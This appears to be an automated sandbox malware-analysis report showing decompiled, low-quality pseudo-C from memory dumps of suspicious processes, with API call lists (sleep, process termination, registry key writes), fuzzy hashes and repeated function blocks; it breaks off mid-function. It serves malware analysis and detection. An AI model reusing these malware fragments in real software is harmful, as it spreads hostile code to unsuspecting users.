Opcode Fuzzy Hash: cbd6cf45c0b53524ac5aa4dd2f83136c209037899838eeeb919ebb42b7f8e0e9
Instruction Fuzzy Hash: A101D671204200EBDB019FA9DD95DA93726EF41310F10027BB503BA1E2D63D9A16EB27

Uniqueness

Uniqueness Score: -1.00%

Function 0040198A, Relevance: 3.0, APIs: 2, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E0040198A(void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t20;
				void* _t25;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t32 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				asm("std");
				asm("lds ebp, [ebp+0x19bb684d]");
				_push(0x19bb);
				_t8 =  *_t27;
				_t28 = _t27 + 4;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t29 = _t28 + 4;
				E004012BF(_t8, _t20, __edi, __esi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t20, _t21, __esi, _t32); // executed
				_t33 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t20, _t21, _t23, _t33); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t29;
				return E004012BF(_t13, _t20, _t21, _t23, _t33);
			}

0x0040198a
0x0040198a
0x0040198a
0x0040198a
0x0040198c
0x0040198f
0x00401994
0x00401997
0x004019b4
0x004019a7
0x004019ac
0x004019b6
0x004019bb
0x004019c3
0x004019c9
0x004019ca
0x004019cd
0x004019d0
0x004019d1
0x004019d6
0x004019d8
0x004019da
0x004019dd
0x004019e0
0x004019e1
0x004019e2
0x004019e2
0x004019eb
0x004019f3
0x004019f8
0x00401a21

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000001.00000002.311100040.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ccfb191151a767bdc9cbe4523c07d0d7ed4776b2de0f136642fab053b244c2bf
Instruction ID: a72ed57d07a02d256bd32122d7544ea4cc166053f19893fffcfb0d55415ced24
Opcode Fuzzy Hash: ccfb191151a767bdc9cbe4523c07d0d7ed4776b2de0f136642fab053b244c2bf
Instruction Fuzzy Hash: 0701A771608204EBDB01AF94DD92D6E3365AF41314F204177B943791E1C63D9E22EB6B

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 3.0, APIs: 2, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040199C(void* __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr* _t30;
				void* _t33;

				_t24 = __esi;
				_t22 = __edi;
				_t21 = __edx;
				_t33 = __edx - __ecx;
				asm("out dx, eax");
				_push(0x19bb);
				_t8 =  *_t28;
				_t29 = _t28 + 4;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t30 = _t29 + 4;
				E004012BF(_t8, __edx, __edi, __esi, _t33);
				_t16 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t21, _t22, __esi, _t33); // executed
				_t34 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t26 + 0x14)));
					_push( *((intOrPtr*)(_t26 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t21, _t22, _t24, _t34); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t30;
				return E004012BF(_t13, _t21, _t22, _t24, _t34);
			}

0x0040199c
0x0040199c
0x0040199c
0x0040199c
0x0040199f
0x0040198f
0x00401994
0x00401997
0x004019b4
0x004019a7
0x004019ac
0x004019b6
0x004019bb
0x004019c3
0x004019c9
0x004019ca
0x004019cd
0x004019d0
0x004019d1
0x004019d6
0x004019d8
0x004019da
0x004019dd
0x004019e0
0x004019e1
0x004019e2
0x004019e2
0x004019eb
0x004019f3
0x004019f8
0x00401a21

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000001.00000002.311100040.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4fb5e9a5afbf0bb0d8b1c466ddce95a75c30193c24937f166a7f97c6bea3c0da
Instruction ID: 38790f97698b8fbd236dc93497c28a5a48dbceb78932be0dbcbbb6d4f4f3ee68
Opcode Fuzzy Hash: 4fb5e9a5afbf0bb0d8b1c466ddce95a75c30193c24937f166a7f97c6bea3c0da
Instruction Fuzzy Hash: F1014471708204E7DB019A959D92E6A3365AB41710F204177BA43791E1C63E9A22EB5B

Uniqueness

Uniqueness Score: -1.00%

Function 004019A0, Relevance: 3.0, APIs: 2, Instructions: 43
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E004019A0(void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t20;
				void* _t25;
				void* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				asm("sbb ebx, ebp");
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t28 = _t27 + 4;
				E004012BF(_t8, _t20, __edi, __esi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t20, _t21, __esi, _t31); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t20, _t21, _t23, _t32); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t28;
				return E004012BF(_t13, _t20, _t21, _t23, _t32);
			}

0x004019a0
0x004019a0
0x004019a0
0x004019a0
0x004019b4
0x004019a7
0x004019ac
0x004019b6
0x004019bb
0x004019c3
0x004019c9
0x004019ca
0x004019cd
0x004019d0
0x004019d1
0x004019d6
0x004019d8
0x004019da
0x004019dd
0x004019e0
0x004019e1
0x004019e2
0x004019e2
0x004019eb
0x004019f3
0x004019f8
0x00401a21

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000001.00000002.311100040.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a3f083826976df0a3047c0ccb3ceba760f639657c05e2c9146095c379659a445
Instruction ID: 9c9c3dab28d51d6fb39e7a0de955185f52c78c5ab62663713faf9a931d33ce0c
Opcode Fuzzy Hash: a3f083826976df0a3047c0ccb3ceba760f639657c05e2c9146095c379659a445
Instruction Fuzzy Hash: 8EF08171308204E7DB01AF959D96EAE3725AF41310F20427BBA43791E1C63D8922EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: wshgiwf PID: 5220 Parent PID: 6400 wshgiwfCOMMON

Executed Functions

Function 0040197F, Relevance: 3.1, APIs: 2, Instructions: 54
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E0040197F(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t24;

				_t26 = __eflags;
				asm("out dx, eax");
				_push(0x19bb);
				_t8 =  *_t22;
				_t23 = _t22 + 4;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t24 = _t23 + 4;
				E004012BF(_t8, _t19, _t20, _t21, __eflags);
				_t16 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t19, _t20, _t21, _t26); // executed
				_t27 = _t11;
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t19, _t20, _t21, _t27); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t24;
				return E004012BF(_t13, _t19, _t20, _t21, _t27);
			}

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000012.00000002.365095460.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: bcb473a80559007bb28423a92ef8681f65ebbcb398205737adca3c99fe595efc
Instruction ID: 57e3c6fabe06a165ad46eb134568508f3e71a46e85a60e7e826126cb482f7349
Opcode Fuzzy Hash: bcb473a80559007bb28423a92ef8681f65ebbcb398205737adca3c99fe595efc
Instruction Fuzzy Hash: 1601D8B1708204F7DB00AB959E92D7A3329AF41710F204137BA43791E1D63D9D22EB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004019B1, Relevance: 3.1, APIs: 2, Instructions: 54
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E004019B1(void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t20;
				void* _t25;
				void* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				asm("in al, dx");
				if (__eflags != 0) goto 0x40199f;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t28 = _t27 + 4;
				E004012BF(_t8, _t20, __edi, __esi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t20, _t21, __esi, _t31); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t20, _t21, _t23, _t32); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t28;
				return E004012BF(_t13, _t20, _t21, _t23, _t32);
			}

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000012.00000002.365095460.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: cbd6cf45c0b53524ac5aa4dd2f83136c209037899838eeeb919ebb42b7f8e0e9
Instruction ID: 7f18fd79f6fc81d1aacc7b9178c151b85e6c9e578e0c4c1d9390a1e0af9d8492
Opcode Fuzzy Hash: cbd6cf45c0b53524ac5aa4dd2f83136c209037899838eeeb919ebb42b7f8e0e9
Instruction Fuzzy Hash: A101D671204200EBDB019FA9DD95DA93726EF41310F10027BB503BA1E2D63D9A16EB27

Uniqueness

Uniqueness Score: -1.00%

Function 0040198A, Relevance: 3.0, APIs: 2, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E0040198A(void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t20;
				void* _t25;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t32 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				asm("std");
				asm("lds ebp, [ebp+0x19bb684d]");
				_push(0x19bb);
				_t8 =  *_t27;
				_t28 = _t27 + 4;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t29 = _t28 + 4;
				E004012BF(_t8, _t20, __edi, __esi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t20, _t21, __esi, _t32); // executed
				_t33 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t20, _t21, _t23, _t33); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t29;
				return E004012BF(_t13, _t20, _t21, _t23, _t33);
			}

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000012.00000002.365095460.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ccfb191151a767bdc9cbe4523c07d0d7ed4776b2de0f136642fab053b244c2bf
Instruction ID: a72ed57d07a02d256bd32122d7544ea4cc166053f19893fffcfb0d55415ced24
Opcode Fuzzy Hash: ccfb191151a767bdc9cbe4523c07d0d7ed4776b2de0f136642fab053b244c2bf
Instruction Fuzzy Hash: 0701A771608204EBDB01AF94DD92D6E3365AF41314F204177B943791E1C63D9E22EB6B

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 3.0, APIs: 2, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040199C(void* __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr* _t30;
				void* _t33;

				_t24 = __esi;
				_t22 = __edi;
				_t21 = __edx;
				_t33 = __edx - __ecx;
				asm("out dx, eax");
				_push(0x19bb);
				_t8 =  *_t28;
				_t29 = _t28 + 4;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t30 = _t29 + 4;
				E004012BF(_t8, __edx, __edi, __esi, _t33);
				_t16 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t21, _t22, __esi, _t33); // executed
				_t34 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t26 + 0x14)));
					_push( *((intOrPtr*)(_t26 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t21, _t22, _t24, _t34); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t30;
				return E004012BF(_t13, _t21, _t22, _t24, _t34);
			}

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000012.00000002.365095460.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4fb5e9a5afbf0bb0d8b1c466ddce95a75c30193c24937f166a7f97c6bea3c0da
Instruction ID: 38790f97698b8fbd236dc93497c28a5a48dbceb78932be0dbcbbb6d4f4f3ee68
Opcode Fuzzy Hash: 4fb5e9a5afbf0bb0d8b1c466ddce95a75c30193c24937f166a7f97c6bea3c0da
Instruction Fuzzy Hash: F1014471708204E7DB019A959D92E6A3365AB41710F204177BA43791E1C63E9A22EB5B

Uniqueness

Uniqueness Score: -1.00%

Function 004019A0, Relevance: 3.0, APIs: 2, Instructions: 43
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E004019A0(void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t20;
				void* _t25;
				void* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				asm("sbb ebx, ebp");
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t28 = _t27 + 4;
				E004012BF(_t8, _t20, __edi, __esi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t20, _t21, __esi, _t31); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t20, _t21, _t23, _t32); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t28;
				return E004012BF(_t13, _t20, _t21, _t23, _t32);
			}

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000012.00000002.365095460.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a3f083826976df0a3047c0ccb3ceba760f639657c05e2c9146095c379659a445
Instruction ID: 9c9c3dab28d51d6fb39e7a0de955185f52c78c5ab62663713faf9a931d33ce0c
Opcode Fuzzy Hash: a3f083826976df0a3047c0ccb3ceba760f639657c05e2c9146095c379659a445
Instruction Fuzzy Hash: 8EF08171308204E7DB01AF959D96EAE3725AF41310F20427BBA43791E1C63D8922EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 5AF4.exe PID: 6808 Parent PID: 3388 5AF4.exeCOMMON

Executed Functions

Function 00401E00, Relevance: 37.6, APIs: 25, Instructions: 141registryCOMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401E55
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401E5D
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401E65
__vbaSetSystemError.MSVBVM60(?,00000000,?), ref: 00401E7B
__vbaStrToAnsi.MSVBVM60(?,?,?), ref: 00401E8F
RegCreateKeyA.ADVAPI32(?,00000000), ref: 00401E9B
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00401EA5
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401EAE
#537.MSVBVM60(00000000), ref: 00401EB5
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401EC0
__vbaLenBstr.MSVBVM60(?), ref: 00401ED3
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00401EED
__vbaStrCat.MSVBVM60(00000000), ref: 00401EF4
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401EFF
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00401F0A
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000001,00000000), ref: 00401F18
RegSetValueExA.KERNELBASE(?,00000000), ref: 00401F24
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00401F2E
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00401F4A
RegCloseKey.KERNELBASE(?), ref: 00401F5C
__vbaSetSystemError.MSVBVM60(?), ref: 00401F67
__vbaFreeStr.MSVBVM60(00401FA6), ref: 00401F99
__vbaFreeStr.MSVBVM60 ref: 00401F9E
__vbaFreeStr.MSVBVM60 ref: 00401FA3
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401FB9

Memory Dump Source

Source File: 00000016.00000002.377630676.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.377620076.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.377641465.0000000000404000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.377654651.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$AnsiCopyErrorMove$SystemUnicode$#537BstrCloseCreateListOverflowValue
String ID:
API String ID: 2107533140-0
Opcode ID: dd93c5477486cb4781e192d58d9aae3d067b3a656344793334b74da0dbd908eb
Instruction ID: fefd5eab8a53b1374428896d65942a4cb620eeccf9a984cdd28dd74a7c15a2cd
Opcode Fuzzy Hash: dd93c5477486cb4781e192d58d9aae3d067b3a656344793334b74da0dbd908eb
Instruction Fuzzy Hash: C351C6B5D10259AFCB04EFA4DD84CEEBBBDEF58704B10811AF501B3264DA74A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401C60, Relevance: 22.6, APIs: 15, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,00401146), ref: 00401C7E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,00401146), ref: 00401CAE
__vbaVarMove.MSVBVM60 ref: 00401CCF
__vbaVarCopy.MSVBVM60 ref: 00401CF0
__vbaVarCopy.MSVBVM60 ref: 00401D11
__vbaVarCopy.MSVBVM60 ref: 00401D32
__vbaStrVarVal.MSVBVM60(?,?), ref: 00401D47
__vbaStrVarVal.MSVBVM60(?,?,00000000), ref: 00401D56
__vbaStrVarVal.MSVBVM60(?,?,00000000), ref: 00401D65
__vbaI4Var.MSVBVM60(?,00000000), ref: 00401D70

Part of subcall function 00401E00: __vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401E55
Part of subcall function 00401E00: __vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401E5D
Part of subcall function 00401E00: __vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401E65
Part of subcall function 00401E00: __vbaSetSystemError.MSVBVM60(?,00000000,?), ref: 00401E7B
Part of subcall function 00401E00: __vbaStrToAnsi.MSVBVM60(?,?,?), ref: 00401E8F
Part of subcall function 00401E00: RegCreateKeyA.ADVAPI32(?,00000000), ref: 00401E9B
Part of subcall function 00401E00: __vbaStrToUnicode.MSVBVM60(?,?), ref: 00401EA5
Part of subcall function 00401E00: __vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401EAE
Part of subcall function 00401E00: #537.MSVBVM60(00000000), ref: 00401EB5
Part of subcall function 00401E00: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401EC0
Part of subcall function 00401E00: __vbaLenBstr.MSVBVM60(?), ref: 00401ED3
Part of subcall function 00401E00: __vbaStrMove.MSVBVM60(?,-00000001), ref: 00401EED
Part of subcall function 00401E00: __vbaStrCat.MSVBVM60(00000000), ref: 00401EF4
Part of subcall function 00401E00: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401EFF
Part of subcall function 00401E00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00401F0A
Part of subcall function 00401E00: __vbaStrToAnsi.MSVBVM60(?,?,00000000,00000001,00000000), ref: 00401F18

__vbaFreeStrList.MSVBVM60(00000003,?,?,?,00000000), ref: 00401D8A

Part of subcall function 00401FC0: __vbaVarLateMemSt.MSVBVM60(?,Enabled), ref: 0040209F
Part of subcall function 00401FC0: __vbaVarLateMemSt.MSVBVM60(?,Enabled), ref: 004020DA
Part of subcall function 00401FC0: __vbaVarLateMemSt.MSVBVM60(?,Enabled), ref: 00402118

__vbaFreeVar.MSVBVM60(00401DED,00000001), ref: 00401DCB
__vbaFreeVar.MSVBVM60 ref: 00401DD4
__vbaFreeVar.MSVBVM60 ref: 00401DDD
__vbaFreeVar.MSVBVM60 ref: 00401DE6

Memory Dump Source

Source File: 00000016.00000002.377630676.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.377620076.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.377641465.0000000000404000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.377654651.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CopyFree$Move$AnsiLate$Error$#537BstrChkstkCreateListSystemUnicode
String ID:
API String ID: 62378706-0
Opcode ID: 5bb1a24821eb30742729a7ef069b9a4adc799a6ee054163fb1a27313da32d2cf
Instruction ID: 14ce0ff18d63f55136c18a18b80a11a0aee004dd7d5e421db8c20e4d00a0f790
Opcode Fuzzy Hash: 5bb1a24821eb30742729a7ef069b9a4adc799a6ee054163fb1a27313da32d2cf
Instruction Fuzzy Hash: AA41B3B1810249DBDB10DFE0CE58BDDBBB8BB04709F10862DE152B76A1DBB81649CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00401278, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 25%

			_entry_() {
				signed char _t118;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t121;
				intOrPtr* _t123;
				intOrPtr* _t125;
				intOrPtr* _t126;
				signed int _t127;
				signed char _t128;
				signed int _t129;
				signed char _t130;
				intOrPtr* _t131;
				signed int _t132;
				signed char _t133;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char _t143;
				intOrPtr* _t146;
				intOrPtr* _t148;
				intOrPtr* _t150;
				intOrPtr* _t151;
				intOrPtr* _t152;
				intOrPtr* _t154;
				signed char _t155;
				signed int _t156;
				intOrPtr* _t157;
				signed int _t158;
				intOrPtr* _t160;
				intOrPtr* _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr* _t170;
				void* _t171;
				intOrPtr* _t172;
				void* _t173;
				intOrPtr* _t174;
				void* _t176;
				intOrPtr* _t177;
				signed int* _t179;
				signed int _t180;
				intOrPtr* _t181;
				intOrPtr* _t182;
				intOrPtr* _t184;
				intOrPtr* _t185;
				void* _t187;
				intOrPtr* _t188;
				intOrPtr* _t189;
				signed char _t191;
				intOrPtr* _t193;
				signed char _t194;
				signed int _t195;
				signed int* _t196;
				intOrPtr* _t197;
				void* _t198;
				void* _t199;
				signed int* _t200;
				signed int _t201;
				signed int _t202;
				void* _t204;
				signed int _t205;
				void* _t206;
				void* _t210;
				void* _t211;
				intOrPtr _t215;
				signed int _t224;
				signed int _t225;
				intOrPtr _t230;
				intOrPtr _t231;
				intOrPtr _t234;
				signed int _t239;
				signed int _t240;
				void* _t241;
				void* _t246;

				L00401272(); // executed
				 *_t118 =  *_t118 + _t118;
				 *_t118 =  *_t118 + _t118;
				 *_t118 =  *_t118 + _t118;
				 *_t118 =  *_t118 ^ _t118;
				 *_t118 =  *_t118 + _t118;
				_t119 = _t118 + 1;
				 *_t119 =  *_t119 + _t119;
				 *_t119 =  *_t119 + _t119;
				 *_t119 =  *_t119 + _t119;
				 *((intOrPtr*)(_t199 + _t195 * 2 - 0x4b)) =  *((intOrPtr*)(_t199 + _t195 * 2 - 0x4b)) + _t187;
				_t200 = _t199 + 1;
				 *_t194 = _t195;
				_t204 = 0x40138c;
				_t205 = _t204 - 1;
				asm("wait");
				 *(_t187 + 0x55) =  *(_t187 + 0x55) << _t194;
				_t120 =  *((intOrPtr*)(_t197 - 0x19))(_t187);
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				_t215 =  *_t120;
				_push(_t195);
				_push(_t195);
				if(_t215 >= 0 && _t215 == 0) {
					 *[gs:eax] =  *[gs:eax] + _t120;
					 *_t120 =  *_t120 + _t120;
